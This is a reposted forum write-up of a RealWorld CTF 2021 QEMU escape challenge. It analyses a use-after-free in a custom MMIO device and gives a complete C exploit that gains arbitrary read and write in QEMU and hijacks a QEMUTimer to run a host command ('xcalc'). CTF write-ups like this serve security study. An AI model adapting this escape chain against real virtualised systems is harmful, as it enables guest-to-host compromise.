首页
社区
课程
招聘
[转帖]pwn qemu虚拟机逃逸分析(二):RWCTF2021 Easy_escape
发表于: 2024-1-5 15:57 3555

[转帖]pwn qemu虚拟机逃逸分析(二):RWCTF2021 Easy_escape

2024-1-5 15:57
3555

Easy_Escape是RealWorld CTF 2021中的qemu逃逸题目,它实现了一个名为fun的设备,有两个操作:fun_mmio_write和fun_mmio_read。

漏洞分析

fun_mmio_readfun_mmio_write 内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
uint32_t_0 __cdecl fun_mmio_read(FunState *opaque, hwaddr addr, unsigned int size)
{
  uint32_t_0 val; // [rsp+20h] [rbp-10h]
 
  val = -1;
  switch ( addr )
  {
    case 0uLL:
      val = opaque->size;
      break;
    case 4uLL:
      val = opaque->addr;
      break;
    case 8uLL:
      val = opaque->result_addr;
      break;
    case 0xCuLL:
      val = opaque->idx;
      break;
    case 0x10uLL:
      if ( opaque->req )
        handle_data_write(opaque, opaque->req, opaque->idx);
      break;
    default:
      return val;
  }
  return val;
}
 
void __cdecl fun_mmio_write(FunState *opaque, hwaddr addr, uint32_t_0 val, unsigned int size)
{
  switch ( addr )
  {
    case 0uLL:
      opaque->size = val;
      break;
    case 4uLL:
      opaque->addr = val;
      break;
    case 8uLL:
      opaque->result_addr = val;
      break;
    case 0xCuLL:
      opaque->idx = val;
      break;
    case 0x10uLL:
      if ( opaque->req )
        handle_data_read(opaque, opaque->req, opaque->idx);
      break;
    case 0x14uLL:
      if ( !opaque->req )
        opaque->req = create_req(opaque->size);
      break;
    case 0x18uLL:
      if ( opaque->req )
        delete_req(opaque->req);
      opaque->req = 0LL;
      opaque->size = 0;
      break;
    default:
      return;
  }
}

其中 handle_data_readhandle_data_write 函数内容如下,两个函数均调用了 put_result 函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void __cdecl handle_data_read(FunState *fun, FunReq *req, uint32_t_0 val)
{
  if ( req->total_size && val <= 0x7E && val < (req->total_size >> 10) + 1 )
  {
    put_result(fun, 1u);
    dma_memory_read_9(fun->as, (val << 10) + fun->addr, req->list[val], 0x400uLL);
    put_result(fun, 2u);
  }
}
 
void __cdecl handle_data_write(FunState *fun, FunReq *req, uint32_t_0 val)
{
  if ( req->total_size && val <= 0x7E && val < (req->total_size >> 10) + 1 )
  {
    put_result(fun, 1u);
    dma_memory_write_9(fun->as, (val << 10) + fun->addr, req->list[val], 0x400uLL);
    put_result(fun, 2u);
  }
}

其中 dma_memory_readdma_memory_write 定义如下:

1
2
static inline int dma_memory_read(AddressSpace *as, dma_addr_t addr, void *buf, dma_addr_t len)
static inline int dma_memory_write(AddressSpace *as, dma_addr_t addr, const void *buf, dma_addr_t len)

dma_memory_read 是将 addr 处的数据复制到 buf 中,dma_memory_write 是将 buf 处的数据复制到 addr 中。其中 addr 是虚拟机中的物理地址。

在实际调试过程中发现 put_result 函数会再次调用到 handle_data_write 函数。
在这里插入图片描述
调用链如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
uint32_t_0 __cdecl fun_mmio_read(FunState *opaque, hwaddr addr, unsigned int size)
    handle_data_write(opaque, opaque->req, opaque->idx);
        put_result(fun, 1u);
            dma_memory_write(fun->as, fun->result_addr, &result, 4uLL);
                dma_memory_rw(as, addr, (void *)buf, len, DMA_DIRECTION_FROM_DEVICE);
                    dma_memory_rw_relaxed(as, addr, buf, len, dir);
                        address_space_rw(as, addr, MEMTXATTRS_UNSPECIFIED, buf, len, dir == DMA_DIRECTION_FROM_DEVICE);
                            address_space_write(as, addr, attrs, buf, len);
                                flatview_write(fv, addr, attrs, buf, len);
                                    flatview_write_continue(fv, addr, attrs, buf, len, addr1, l, mr);
                                        memory_region_dispatch_write(mr, addr1, val, size_memop(l), attrs);
                                            access_with_adjusted_size(addr, &data, size, mr->ops->impl.min_access_size, mr->ops->impl.max_access_size, memory_region_write_accessor, mr, attrs);
                                                memory_region_write_accessor(mr, addr + i, value, access_size, i * 8, access_mask, attrs)
                                                    mr->ops->write(mr->opaque, addr, tmp, size);

并且再次调用 handle_data_writeaddr 参数为 opaque->result_addr 减掉 mmio 内存的地址。

另外当 addr = 0x18 时会释放 req 相关结构。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void __cdecl delete_req(FunReq *req)
{
  uint32_t_0 i; // [rsp+18h] [rbp-8h]
  uint32_t_0 t; // [rsp+1Ch] [rbp-4h]
 
  t = (req->total_size >> 10) + 1;
  for ( i = 0; i < t; ++i )
    free(req->list[i]);
  free(req);
}
 
    case 0x18uLL:
      if ( opaque->req )
        delete_req(opaque->req);
      opaque->req = 0LL;
      opaque->size = 0;
      break;

因此不难想到可以通过设置 opaque->result_addrmmio_addr + 0x18 然后调用 handle_data 函数来实现 UAF 。

漏洞利用

create_req 会创建 req212opaque -> size+1 个 chunk ,每个chunk 大小为 0x410 。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
FunReq *__cdecl create_req(uint32_t_0 size)
{
  uint32_t_0 i; // [rsp+10h] [rbp-10h]
  uint32_t_0 t; // [rsp+14h] [rbp-Ch]
  FunReq *req; // [rsp+18h] [rbp-8h]
 
  if ( size > 0x1FBFF )
    return 0LL;
  req = (FunReq *)malloc(0x400uLL);
  memset(req, 0, sizeof(FunReq));
  req->total_size = size;
  t = (req->total_size >> 10) + 1;
  for ( i = 0; i < t; ++i )
    req->list[i] = (char *)malloc(0x400uLL);
  return req;
}
 
    case 0x14uLL:
      if ( !opaque->req )
        opaque->req = create_req(opaque->size);
      break;

FunReq 结构体定义如下:

1
2
3
4
5
6
7
8
00000000 FunReq struc ; (sizeof=0x400, align=0x8, copyof_4859)
00000000 total_size dd ?
00000004 db ? ; undefined
00000005 db ? ; undefined
00000006 db ? ; undefined
00000007 db ? ; undefined
00000008 list dq 127 dup(?)                      ; offset
00000400 FunReq ends

因此我们创建 req 并在 req.list 中申请三个 chunk 。
在这里插入图片描述
fun_mmio_read->handle_data_write->dma_memory_write_9 时发生 UAF,此时读取的 req.list[0] 中的数据实际上是 tcache_pthread_struct 中的数据,因此可以泄露 req 的地址,另外 tcache_pthread_struct 之后有一个指向存放 qemu 地址的内存的指针也可以泄露。
在这里插入图片描述
再次创建 req
在这里插入图片描述

之后 fun_mmio_write->handle_data_read->dma_memory_read_9 时 UAF 修改 req.list[1]fd 指向 req
在这里插入图片描述

再次创建 reqreq.list[2] 指向 req 。此时实现了 req 的自写,其中 lreq.ist[0] 为 NULL 时因为 tcache 在取出 chunk 时会将 key 字段置 0 。
在这里插入图片描述
我们可以通过 req 自写将 list[0] 指向目标地址从而实现任意地址读写。之后就是常规的泄露 qemu 基址,改 main_loop_tlg 指向的 QEMUTimerList 实现逃逸。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
#include <ctype.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
 
void qword_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("[*] %s:\n", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}
 
#define PAGE_SIZE 0x1000
 
size_t vaddr_to_paddr(size_t vaddr) {
    int pagemap_fd = open("/proc/self/pagemap", O_RDONLY);
    lseek(pagemap_fd, vaddr / PAGE_SIZE * 8, SEEK_SET);
    size_t data;
    read(pagemap_fd, &data, 8);
    close(pagemap_fd);
    return data * PAGE_SIZE + (vaddr % PAGE_SIZE);
}
 
#define SIZE 0x0
#define ADDR 0x4
#define RESULT_ADDR 0x8
#define INDEX 0xC
#define HANDLE_DATA 0x10
#define CREATE_REQ 0x14
#define DELETE_REQ 0x18
void *mmio_mem;
 
void mmio_write(uint32_t addr, uint32_t value) {
    *((uint32_t *) (mmio_mem + addr)) = value;
}
 
uint32_t mmio_read(uint32_t addr) {
    return *((uint32_t *) (mmio_mem + addr));
}
 
char *buf;
size_t buf_paddr;
size_t req_addr;
char cmd[] = "xcalc";
 
void arbitrary_address_read(size_t address) {
    mmio_write(SIZE, (3 - 1) << 10);
    mmio_write(INDEX, 2);
    *(size_t *) (buf + (2 << 10)) = (3 - 1) << 10;
    *(size_t *) (buf + (2 << 10) + 8) = address;
    *(size_t *) (buf + (2 << 10) + 0x10) = 0;
    *(size_t *) (buf + (2 << 10) + 0x18) = req_addr;
    mmio_write(HANDLE_DATA, 0x114514);
    mmio_write(INDEX, 0);
    mmio_read(HANDLE_DATA);
}
 
void arbitrary_address_write(size_t address) {
    mmio_write(SIZE, (3 - 1) << 10);
    mmio_write(INDEX, 2);
    *(size_t *) (buf + (2 << 10)) = (3 - 1) << 10;
    *(size_t *) (buf + (2 << 10) + 8) = address;
    *(size_t *) (buf + (2 << 10) + 0x10) = 0;
    *(size_t *) (buf + (2 << 10) + 0x18) = req_addr;
    mmio_write(HANDLE_DATA, 0x114514);
    mmio_write(INDEX, 0);
    mmio_write(HANDLE_DATA, 0x1919810);
}
 
 
int main() {
    int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
    if (mmio_fd < 0) {
        perror("[-] failed to open mmio.");
        exit(-1);
    }
    mmio_mem = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    if (mmio_mem < 0) {
        perror("[-] failed to mmap mmio_mem.");
        exit(-1);
    }
 
    FILE *resource_fd = fopen("/sys/devices/pci0000:00/0000:00:04.0/resource", "r");
    if (resource_fd == NULL) {
        perror("[-] failed to open resource.");
        exit(-1);
    }
    size_t mmio_addr;
    fscanf(resource_fd, "%p", &mmio_addr);
    printf("[*] mmio_addr: %p\n", mmio_addr);
 
    buf = (char *) mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    memset(buf, 0, PAGE_SIZE);
    printf("[*] buf vaddr: %p\n", buf);
    buf_paddr = vaddr_to_paddr((size_t) buf);
    printf("[*] buf paddr: %p\n", buf_paddr);
 
    mmio_write(SIZE, (3 - 1) << 10);
    mmio_write(ADDR, buf_paddr);
    mmio_write(INDEX, 0);
    mmio_write(RESULT_ADDR, mmio_addr + DELETE_REQ);
    mmio_write(CREATE_REQ, 0x114514);
    mmio_read(HANDLE_DATA);
    qword_dump("leak req addr from tcache_perthread_struct (req->list[0])", buf, 0x400);
    req_addr = *(size_t *) (buf + 0x278);
    printf("[+] req_addr: %p\n", req_addr);
    size_t leak_addr_addr = *(size_t *) (buf + 0x358);
    printf("[+] leak_addr addr: %p\n", leak_addr_addr);
 
    *(size_t *) (buf + (1 << 10)) = req_addr;
    mmio_write(SIZE, (3 - 1) << 10);
    mmio_write(ADDR, buf_paddr);
    mmio_write(INDEX, 1);
    mmio_write(RESULT_ADDR, mmio_addr + DELETE_REQ);
    mmio_write(CREATE_REQ, 0x114514);
    mmio_write(HANDLE_DATA, 0x1919810);
 
    mmio_write(RESULT_ADDR, 1);
    mmio_write(SIZE, (3 - 1) << 10);
    mmio_write(CREATE_REQ, 0x114514);
    mmio_write(INDEX, 2);
 
    arbitrary_address_read(leak_addr_addr);
    size_t elf_base = *(size_t *) buf - 0x6761b0;
    printf("[+] elf base: %p\n", elf_base);
 
    size_t system_plt = elf_base + 0x2b8a74;
    printf("[*] system@plt addr: %p\n", system_plt);
 
    size_t main_loop_tlg_addr = elf_base + 0x112cd40;
    printf("[*] main_loop_tlg addr: %p\n", main_loop_tlg_addr);
 
    arbitrary_address_read(main_loop_tlg_addr);
 
    size_t QEMUTimer_addr = *(size_t *) (buf + 8);
    printf("[+] QEMUTimer addr: %p\n", QEMUTimer_addr);
 
    arbitrary_address_read(QEMUTimer_addr);
    *(size_t *) (buf + 0x58) = system_plt;
    *(size_t *) (buf + 0x60) = QEMUTimer_addr + 0x200;
    strcpy(buf + 0x200, cmd);
    arbitrary_address_write(QEMUTimer_addr);
 
    return 0;
}

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2024-1-5 16:00 被mismisss编辑 ,原因:
收藏
免费 2
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//